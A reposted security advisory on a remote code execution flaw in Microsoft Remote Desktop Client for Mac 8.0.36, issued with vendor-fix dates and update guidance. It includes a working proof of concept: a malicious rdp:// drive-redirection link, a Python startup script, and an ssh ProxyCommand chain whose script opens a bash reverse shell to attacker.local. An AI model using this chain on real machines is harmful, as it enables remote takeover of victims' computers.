首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution
来源:filippo.cavallarin@wearesegment.com 作者:Cavallarin 发布时间:2017-01-24  
Advisory ID:           SGMA16-004
Title:                 Microsoft Remote Desktop Client for Mac Remote Code Execution
Product:               Microsoft Remote Desktop Client for Mac
Version:               8.0.36 and probably prior
Vendor:                www.microsoft.com
Type:                  Arbitrary file read/write (leads to RCE)
Risk level:            4 / 5
Credit:                filippo.cavallarin@wearesegment.com
CVE:                   None
Vendor notification:   2016-07-13
Vendor fix:            2017-01-17
Public disclosure:     2017-01-23


Details

A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.

Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directoy.

Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.

According to Microsoft, no CVE will be assigned due to the release model of this particular client.

A demo video is available at https://youtu.be/6HeSiXYRpNY.



PoC
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.

To reproduce the issue follow the steps below:
1. install a windows 2008 server and allow Administrator to connect without password
2. login as Administrator
3. configure a trusted ssl certificate for rdp connections
4. install python2.7 and put the following script in the "Startup" folder
5. logout
6. send the link below to a victim

RDP link:
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator


Python script:
#BOF
import sys
import subprocess
import time
import os

def runcmd(cmd):
        err = None
        out = None
        try:
                process =  subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
                out, err = process.communicate()
        except Exception as e:
                print str(e)

        return out


while(True):
        netuse = runcmd("net use")
        if netuse.find("TSCLIENT"):
                runcmd('MKLINK /D C:\\home \\\\tsclient\\home')

                runcmd('md c:\\home\\REMOTE')

                runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')

                runcmd("shutdown /l /f")
                break

        time.sleep(0.4)
#EOF


Remote Code Execuiton
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the following files on the remote machine:
1. ~/.ssh/known_hosts
        p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. ~/.ssh/config
        Host p
        HostName p
        ProxyCommand /bin/bash ~/.ssh/command.sh
3. ~/.ssh/command.sh
        for a in {1..31}; do trap "" $a; done
        nohup bash -i >& /dev/tcp/attacker.local/1234 0>&1 &

At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
1. send the link to the victim via Mail or iMessage
2. poison Safari cache adding some javascript that launches the URL
3. poison Safari "Application Saved State" so that the URL il launched at browser execuition
4. poison "loginitems" to launch the URL at system startup

It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.


UPDATE:
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working. This fix is mentioned in the Apple Store:
"This update fixes an issue where a website could repeately attempt to launch other websites or applications"


Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.

References
https://www.wearesegment.com/research/Microsoft-Remote-Desktop-Client-for-Mac-Remote-Code-Execution


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Python 2.x Buffer Overflow
·Oracle OpenJDK Runtime Environ
·PageKit 1.0.10 - Password Rese
·Firefox nsSMILTimeContainer::N
·DiskSavvy Enterprise 9.1.14 /
·Cisco WebEx - 'nativeMessaging
·SunOS 5.11 Remote ICMP Weaknes
·Geutebrueck GCore 1.3.8.42/1.4
·Pirelli DRG A115 v3 ADSL Route
·GNU Screen 4.5.0 - Privilege E
·Tenda ADSL2/2+ Modem D820R - U
·Joomla! < 2.5.2 - Admin Creati
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved